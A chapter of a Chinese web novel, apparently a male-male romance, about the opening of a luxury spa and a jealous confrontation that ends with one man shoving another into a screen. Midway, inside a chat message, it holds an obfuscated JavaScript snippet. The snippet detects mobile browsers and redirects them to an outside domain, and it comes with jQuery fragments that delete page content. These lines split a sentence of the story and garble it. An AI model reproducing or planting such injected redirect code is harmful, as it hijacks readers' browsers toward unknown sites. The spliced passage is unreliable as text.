27.C27

作品:《浪子攻被糙汉攻

    憩云轩开业当天,热闹非凡,一千平的养生馆在哪儿都是少见的,接待区已经又不少太太们,天然玉石的接待台散发着温润的光泽,空气中弥漫着橙花和雪松交织的香氛,王丽虹穿着黑色的修身高定长裙,和太太们谈笑风生,茶艺师奉上青瓷盏,老白茶在杯中漾开。


    “尝尝,这可是今年头茬的福鼎白茶,配了我们店里秘制的玫瑰陈皮,最养气血了。”


    王太太端着茶杯,呷了一口:“好喝的呀。”


    “侬上次不是讲肩膀有些不舒服,等会让小张带你去试试我们的店引进的艾灸仪,国外进口技术,效果立竿见影。”


    “个么厉害的呀。”


    其他太太也被吸引到了不同包间,新中式的禅意间、摩洛哥的精油房,技师们清一色的丝绸长袍,手法轻柔又专业。


    王丽虹从王太太房里出来,看见张将正在安排技师们,她抱臂走过去,看他有条不紊地根据每个技师的擅长点安排到不同的房间里,她还是第一次看张将穿西装,裁剪利落的纯黑西装,收敛了青年的锋芒,寸头将棱角分明的眉骨完全展露,侧面角度很像张容生,但气质却和张容生千差万别,她最终苦笑一声,故人之子最具故人之姿,她到底是放不下张容生,也许是放不下那些回不去的年少时光。


    “丽虹姐。”张将这才发现丽虹在他身后,规矩叫了声。


    王丽虹微笑:“王太太觉得门口的香氛不错,等会你记得给她打包一份。”


    张将点头:“好。”


    “陈太太的按摩时间大概是一个小时左右结束,你记得送送她。”王丽虹扫视他,虽然她初见时这个男人一点儿也没有生命力,蜗居在那十几平的店面房里,好像一杯早已腐败的果汁,她给了他机会,给了她跟张容生的故事最后一个句号,而张将抓住了机会,从他找到她问出那句“姐,养生馆可以开,但是需要非常强的人脉圈层”开始,她就知道张将是有想法的。


    高端养生馆的本质就是场景+专业+圈层,江城虽是三线,但五十公里就是省会,两百公里就是申城,地理位置算不上最优,但也绝对不差,黑山集团恰是做投资,那些贵太太们的交流带着利益置换,而憩云轩既满足了社交需求同时也能提供放松和养生。


    憩云轩分好几档,最低一档满足白领全体,最高一档则是黑金,光是年费都是两百万起,今早就已经有20笔黑金充值,完全刷新了张将对钱的认知,他第一次清晰感知到钱如流水,两百万像是两百块。


    中午张将和小瑶在养生馆的餐厅吃饭,小瑶一身火红的旗袍格外扎眼,那些五折传单被她塞进来帆布包的最里面,再不见天日。


    “我今天给你丢人了。”小瑶拿着刀叉戳着碗里的奶油蘑菇意大利面。


    张将起身去要了双筷子递给她:“哪有,小瑶姐今天很好看啊。”


    小瑶拿过筷子:“你别安慰我了,早知道你这里这么高大上,我就穿得低调点了。”


    张将笑起来:“你这样就挺好,本来长得就好,穿什么都好。”


    小瑶心情这才好点,吃了口面,顿时露出惊艳神色:“好好吃啊!你们这餐厅都这么美味吗!比市中心那家丘比特披萨馆的意面好吃太多了!”


    “丽虹姐请的意大利厨师。”


    “什么!”小瑶惊掉了下巴,她本来以为就一小小的养生馆,今天刚来就被刷新了认知,这养生馆大得离谱,而且还分什么水疗区、瑜伽区、美容区等等,她这辈子都没见过这么豪华的养生馆,“这开下来得多少钱啊!”


    “丽虹姐出的钱。”


    小瑶在他身上扫了几秒:“小张,你不会被丽虹姐包了吧。”


    张将没忍住一口水呛到了,他猛咳一声,听见小瑶继续说,“丽虹姐多好看呐!比你喜欢的那沈辞洲好多了!”


    “沈哥很好。”张将不太乐意小瑶说的话,可他知道小瑶没有坏心,“他只是看着脾气差了点,其实是很善良的人。”


    “好了,我逗你呢。”小瑶喝了一大口柠檬水,“你跟他最近好吗?”


    张将点头:“嗯。”


    他们有一茬没一茬的聊天,张将看了眼时间,陈太太估计快按摩好了,他起身:“我先去接待个客人。”


    小瑶摆手:“去吧。”


    张将走了两步,折回来,把小瑶那一帆布袋的拎起来:“这个,晚点我帮你发出去。”


    小瑶想拒绝,张将已经拎着帆布袋走了,看着张将挺拔如松的背影,小瑶心一颤,他还是第一次看张将穿西装,帅出了另一番高度,这简直可以原地出道,要是有一天她也能飞黄腾达,她也要让小张赚很多很多钱。


    -


    沈辞洲好几周没回江城办公,第一天来就忙得不可开交,几乎没离开过办公室,直到太阳落下,他才发觉忘吃晚饭,想起来中午吃饭答应季清文去什么超级大的养生馆,他从椅背上拿起西装,给季清文发了条消息。


    微信聊天里除了工作消息,张将竟然一条消息都没有!


    他皱眉有点不爽,这几个月张将几乎一日三餐餐餐跟查岗似的问问问,问得他很烦,今天不仅没问,连消息都没有,有点奇怪,难道他今天很忙吗?


    可是那个破按摩店他看着快倒闭,忙什么呢?比他一个老板还忙。


    按摩店出了什么事?


    沈辞洲拨了个电话过去,没多久张将就接了。


    “你在干嘛呢?”沈辞洲语气不善,听见那头有人叫“张哥”,女声。


    “我现在有点忙,晚点给你电话。”


    说完就挂了。


    沈辞洲皱眉,心情更不好了,竟然敢挂他电话!


    这段时间真是给他脸了!


    季清文坐上车就发现沈辞洲心情似乎不太好,车里气氛有些凝重。


    “沈哥,你怎么了?”季清文抓着安全带,“是不是今天太忙了?”


    清润男声连嗓音都是甜的,沈辞洲侧过脸,看了他眼,倒是也没必要因为张将坏了自己的好心情。


    “你平时注重养生吗?”沈辞洲转了话题。


    “有时候会去按个摩什么的。”季清文说,视线却是一直落在沈辞洲漂亮的侧脸上,“夏天的时候也有做一些保养。”


    沈辞洲手搭在方向盘上:“难怪脸蛋水润润的,挺好的。”


    季清文被他突然的话说得有些心潮澎湃,自从他入职国山科技之后,沈辞洲没有和他在上过床,可是现在的气氛似乎朝着另一种方向发展。


    “沈哥~”季清文抿着唇,“我…我入职以后就从新白马那里走了,我没有再回去过了。”


    沈辞洲怔了怔,他并不意外,他也从没有救风尘的心,玩儿的开心就好,但季清文现在多少和他相处了有好几个月,还是他的员工,他没有办法把他当做纯粹的陌生人。


    “挺好的,你的性格并不太适合做那行。”


    “啊?为什么?”


    沈辞洲被他可爱的表情击中:“性格太直,不懂迂回。”


    季清文低头失落道:“我知道了。”


    沈辞洲伸手搭在他头上揉了揉:“不过我觉得这样挺好的。”


    季清文抬起头:“真的吗?”


    “嗯。”


    “哥,谢谢你。”


    “谢我什么?”


    “很多。”季清文细想起这几个月沈辞洲教会他的东西,继续说,“就像今天,本来我是没什么方向的,一股脑儿跟着先前的一些方法论就去行动,但是中午吃饭时,你跟我说了以后,我下午自己再细细一想,感觉就想通了,要是你不点我,我还不知道要琢磨到什么时候呢。”


    沈辞洲轻笑起来:“你是有色眼镜看我。”


    “才不是。”季清文小声反驳,“办公室里的莉莉安她们也总夸你,而且都很喜欢你。”


    七八点正是下班高峰,尤其是往市中心方向,车堵得水泄不通,张将给他发来信息。


    小张:床我还没来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853640|174345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得及换新的,今天先别去我那儿了


    沈辞洲舌尖抵着腮帮子,眉心皱了下,不过就是炮.友关系,倒是看起来像他非要去一样,干脆没回消息。


    季清文瞥见了驾驶台上架着的手机,小张,他忽然想起去海城的那次,沈哥好像也是和小张聊天,他们在一起这么久了吗?


    小张和他是不一样,他只是沈哥随便解乏的一个床伴,而小张是沈哥的爱人。


    嫉妒疯狂滋生,他无比好奇这个叫“小张”的人是什么样的人,什么样的人能够配得上这么好的沈哥,什么样的人能让沈哥动心。


    车行驶到憩云轩,倒是惊艳了一把沈辞洲,他还没在江城看过这么有逼格的养生馆,顶厅穹顶悬着定制的钛金枝形灯,光线恰好聚焦在中央旋转的展台上,一副装裱考究的油画悬浮在哑光的黑色基座上,出自现代抽象艺术家的《时空涟漪》,用大胆的钴蓝和钛白撞出星河流动,三年前佳士得拍卖会拍出八千万的价,如果他没记错,这幅画作就是霍家那位拍的。


    侍者看得出他身份不菲,便领着他们去了高档区的一间别致雅房,沈辞洲闻见熟悉的中草药与艾草的味道,和前几天张将给他新调的安神香氛味道如出一辙,令他有些慌神。


    张将今天很反常,不会真出什么事了吧?


    他那么大个人,那么大个子,还能出什么事?


    他想等会实在不行按完摩给他打个电话。


    双人地铺,季清文换了衣服,白色缎面的按摩服衬得他越发白皙,屋里升起袅袅烟气,他侧着脸观察着沈辞洲,发现他好像一直在闭目养神,不知道他有什么心思,但直觉告诉他,沈哥现在似乎在想着那个叫“小张”的人。


    按摩时间结束,季清文舒展了下筋骨,侍者给他们送上伴手礼,一套黑胡桃木茶盘搭配的钛合金快客杯,附赠福鼎白茶茶饼,还有一份雪松和岩兰草等调制的木质调精油,沈辞洲闻见那股熟悉的香味,和张将最近给他用的香薰味道极其相似。


    季清文闻了闻:“好香。”


    沈辞洲被他拉回思绪,他估计自己是因为老是想着张将,产生了错觉,余光瞥见季清文衬衫纽扣错位。


    “等等。”


    季清文抬起头,一双大眼睛充满不解。


    沈辞洲低头,修长的手指把那两颗错开的纽扣解开,专注地替他把扣子扣好。


    忽然的凑近让季清文心漏了一拍,他喉结滚了滚,鼻子离沈辞洲的刘海只有一指宽,像是鼓足了勇气,他微微踮起脚扬起头,让自己的唇恰好碰到沈辞洲的鼻子。


    下一秒,季清文一个踉跄,整个人朝着侧面的屏风倒去,他惨叫一声,摔撞到了屏风上,木制屏风瞬间摔裂。


    “你疯了!”沈辞洲愤怒看着突然把人推倒的张将,他忙走过去把季清文从摔烂的屏风里扶起来,“你没事吧?”


    季清文的手臂被摔裂木头割破,此刻正往外冒出汩汩鲜红的血。


    下一秒,张将扯开沈辞洲,一双赤红的眼睛不可置信地看着他,睫毛在极度愤怒和惊恐中剧烈颤抖着,往日的平静和温柔被烧得破碎,眼底深处带着一丝无法察觉的绝望。


    他的下颚绷得很紧,看着满地狼藉,那个漂亮的男生还有沈辞洲,如果不是他恰好撞见,他永远不知道沈辞洲是什么人!


    沈辞洲可以昨天才跟他做.爱,今天就和其他男人在大庭广众下亲吻,那他算什么?


    沈辞洲维护那个人的言语像一只无形的手,狠狠在张将心脏攥了一把。


    “沈哥,我…我先回去了。”季清文也被吓到了,他看着面前恐怖的男人,感觉下一秒就要被他打死。


    “沈哥”两个字眼再次扎在张将心上。


    -


    “小张,你知不知道你每次叫我“沈哥”的时候我都超有感觉,太喜欢了,你再叫叫我,我们一起。”


    “小张,沈哥最喜欢你了。”


    “小张,沈哥疼你。”


    -